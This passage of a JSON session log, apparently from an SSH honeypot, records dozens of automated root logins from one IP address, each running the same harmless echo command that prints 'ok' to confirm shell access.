  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:43.696682+00:00",
  "ended_at": "2026-08-23T09:43:44.962964+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "914f14ef-df52-46cd-b884-da8b04bd68fb",
  "name": "buoyant-bronzed-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:41.518069+00:00",
  "ended_at": "2026-08-23T09:43:42.878844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afdf5d38-eda6-4d69-bdef-700ac9bbf35b",
  "name": "hushed-icy-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:39.454216+00:00",
  "ended_at": "2026-08-23T09:43:40.703054+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7f45ba3-eae0-4dee-8e36-441f8316d3c6",
  "name": "shifting-gloomy-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:37.430122+00:00",
  "ended_at": "2026-08-23T09:43:38.718997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d6763a9-79ec-4060-90a8-3700acf02f99",
  "name": "faded-amber-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:35.016462+00:00",
  "ended_at": "2026-08-23T09:43:36.601019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "098960c3-66d4-40c5-9b52-525072fbcbec",
  "name": "smoky-jaunty-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:33.471067+00:00",
  "ended_at": "2026-08-23T09:43:34.387010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bcc960d1-2be6-4241-b156-4f9dab039307",
  "name": "quartz-rugged-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:30.541101+00:00",
  "ended_at": "2026-08-23T09:43:32.789242+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a5caeedc-4bd0-4dcc-95d9-3449321811b4",
  "name": "blazing-zealous-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:27.532061+00:00",
  "ended_at": "2026-08-23T09:43:29.737999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00e28e3d-e1f6-4c06-93de-d5a47400eda9",
  "name": "gilded-balmy-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:25.174493+00:00",
  "ended_at": "2026-08-23T09:43:26.708000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e31d5f5d-fa1c-4ff0-9bf9-c5e2830ac811",
  "name": "shifting-scarlet-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:23.481082+00:00",
  "ended_at": "2026-08-23T09:43:24.509800+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b25116c-c02b-419f-8ea8-13ece5d9888c",
  "name": "quiet-austere-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:21.026673+00:00",
  "ended_at": "2026-08-23T09:43:22.688009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "674a78dc-44b9-4da3-bb30-3b9652ad03f9",
  "name": "western-jovial-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:19.058037+00:00",
  "ended_at": "2026-08-23T09:43:20.355028+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "805f8c7c-e2c0-49d6-a1f5-272f8cc83ec6",
  "name": "patient-mossy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:17.307081+00:00",
  "ended_at": "2026-08-23T09:43:18.271997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2eadfe04-6632-47ef-8123-a35ccc38b994",
  "name": "feral-thrifty-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:14.862072+00:00",
  "ended_at": "2026-08-23T09:43:16.629002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "045808be-54de-4647-9a63-ee68b74ad6d1",
  "name": "downy-tranquil-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:12.045079+00:00",
  "ended_at": "2026-08-23T09:43:14.215039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "698fa13b-7dab-499e-8e88-345bfa7481de",
  "name": "inland-spirited-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:09.254547+00:00",
  "ended_at": "2026-08-23T09:43:11.233996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b3eff2d-a4bc-4948-a536-c56950cc48eb",
  "name": "dutiful-vernal-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:06.632622+00:00",
  "ended_at": "2026-08-23T09:43:08.624399+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c2cc1d14-c163-4e98-a294-1fd23f7aa7b5",
  "name": "mellow-daring-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:04.162235+00:00",
  "ended_at": "2026-08-23T09:43:05.885999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8caf7a96-9853-4de9-bbca-64b82f01b82a",
  "name": "stoic-cobalt-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:02.584834+00:00",
  "ended_at": "2026-08-23T09:43:03.472999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8e1a679-2138-4f47-b4cb-7843a95a8c96",
  "name": "oaken-placid-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:00.687336+00:00",
  "ended_at": "2026-08-23T09:43:01.889999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd80fcb4-6e97-4335-a58e-ded7782e94d9",
  "name": "salty-stoic-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:58.177908+00:00",
  "ended_at": "2026-08-23T09:43:00.061008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4261dc8-aa24-4ed5-9e16-418adc13891e",
  "name": "lively-nimble-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:55.733068+00:00",
  "ended_at": "2026-08-23T09:42:57.476997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "63872bb1-f0bd-4c1d-b3f7-7fcee96852fe",
  "name": "jolly-plush-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:53.406357+00:00",
  "ended_at": "2026-08-23T09:42:54.949132+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9052ca79-4bd2-417b-97f4-24e698f9c723",
  "name": "indigo-sandy-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:51.458372+00:00",
  "ended_at": "2026-08-23T09:42:52.706021+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5d531c14-2e3b-4b6b-997a-dd3769978225",
  "name": "forlorn-slender-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:49.184118+00:00",
  "ended_at": "2026-08-23T09:42:50.704367+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f5a8061-841c-46c1-bff4-53b091ec5c1e",
  "name": "prairie-ashen-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:46.255640+00:00",
  "ended_at": "2026-08-23T09:42:48.513830+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4b6c227-a215-498a-8ca3-4489667def22",
  "name": "gallant-rugged-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:43.442107+00:00",
  "ended_at": "2026-08-23T09:42:45.515480+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ed4d030-fa5e-4786-8b91-dc3832043418",
  "name": "clever-zealous-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:40.749136+00:00",
  "ended_at": "2026-08-23T09:42:42.766001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2179d4c8-a859-4ab6-a2a9-8603722eb2dc",
  "name": "crisp-western-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:38.485740+00:00",
  "ended_at": "2026-08-23T09:42:40.042997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf88964d-9b51-46d8-9c4c-bd3e01e0d998",
  "name": "watchful-cobalt-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:36.119118+00:00",
  "ended_at": "2026-08-23T09:42:37.713000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fab3c00b-1a25-401d-b316-8572064955e3",
  "name": "lawful-grassy-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:33.171026+00:00",
  "ended_at": "2026-08-23T09:42:35.386051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eed61b71-258b-4a77-8fe5-1ab19f0ed3b8",
  "name": "brisk-curious-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:31.205070+00:00",
  "ended_at": "2026-08-23T09:42:32.356302+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce6d6e9d-a409-4ead-b366-e00b12300522",
  "name": "hardy-burly-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:26.020437+00:00",
  "ended_at": "2026-08-23T09:42:30.381042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c12d53e7-41b7-416b-ac7d-f344d247ed92",
  "name": "burly-solemn-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:24.304064+00:00",
  "ended_at": "2026-08-23T09:42:25.202883+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3e70a84-d874-4ea2-a318-20b92a8abd80",
  "name": "cobalt-fierce-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:21.967836+00:00",
  "ended_at": "2026-08-23T09:42:23.595008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d8aafcd6-5faa-41a5-808c-81649999a6e5",
  "name": "proud-fringed-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:20.434727+00:00",
  "ended_at": "2026-08-23T09:42:21.346999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a862f009-5e93-4363-92a6-0b9119cc9368",
  "name": "opal-umber-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:18.294051+00:00",
  "ended_at": "2026-08-23T09:42:19.751002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "072e4253-43f4-46ae-85fa-ae1ec27ed9aa",
  "name": "noble-dusky-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:16.381077+00:00",
  "ended_at": "2026-08-23T09:42:17.539002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7dd9e627-78e6-4db3-ac60-88ed66bcc0e2",
  "name": "serene-boreal-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:12.496100+00:00",
  "ended_at": "2026-08-23T09:42:15.576012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4216ff8-ee4d-4ebc-9dd9-7d154db262fe",
  "name": "lively-smoky-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:10.375315+00:00",
  "ended_at": "2026-08-23T09:42:11.760004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "587e30d2-5f87-46db-ac42-172204e0ac65",
  "name": "valiant-lively-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:07.455073+00:00",
  "ended_at": "2026-08-23T09:42:09.612043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f51d7ef-e8a6-42fd-8095-a18cd548b23e",
  "name": "prickly-amber-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:05.035110+00:00",
  "ended_at": "2026-08-23T09:42:06.679008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "694cf8df-96b5-4652-86b8-bcff92b5a784",
  "name": "russet-airy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:42:02.547121+00:00",
  "ended_at": "2026-08-23T09:42:04.309010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4816cdae-b52f-4e27-8c23-36fca8cf9733",
  "name": "icy-dapper-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32834,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:59.550578+00:00",
  "ended_at": "2026-08-23T09:42:01.747944+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba12ac45-7754-4f38-bd1e-c3a7ddb89c53",
  "name": "dusty-chilly-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:57.293577+00:00",
  "ended_at": "2026-08-23T09:41:58.940001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b80c0e7-a986-4674-b2b7-27d5f1b8cc0d",
  "name": "lucid-whispering-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:55.459608+00:00",
  "ended_at": "2026-08-23T09:41:56.481812+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "843b710f-837b-406a-9288-647f9ae64b26",
  "name": "sincere-mindful-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:50.679201+00:00",
  "ended_at": "2026-08-23T09:41:54.789080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "535ab15b-375e-407d-a169-51b543c23a73",
  "name": "gentle-jaunty-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:49.053909+00:00",
  "ended_at": "2026-08-23T09:41:50.019013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20a42cc9-47db-406a-91c0-bb6835a04924",
  "name": "vigilant-languid-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:41:46.997163+00:00",
  "ended_at": "2026-08-23T09:41:48.216049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9c81cb1-5876-471d-855e-1c5f07cbe1e7",
  "name": "smooth-prickly-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38126,
  "username": "root",
